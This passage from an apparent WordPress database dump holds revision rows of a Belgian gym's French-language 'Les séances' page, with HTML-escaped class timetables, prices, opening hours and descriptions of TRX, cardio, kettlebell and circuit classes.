#eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:30:33', '2013-07-03 16:30:33', '', 11, 'http://www.crosstrainingcenter.be/?p=167', 0, 'revision', '', 0),
(168, 1, '2013-07-03 16:32:37', '2013-07-03 16:32:37', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:32:37', '2013-07-03 16:32:37', '', 11, 'http://www.crosstrainingcenter.be/?p=168', 0, 'revision', '', 0),
(172, 1, '2013-07-03 16:35:39', '2013-07-03 16:35:39', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td 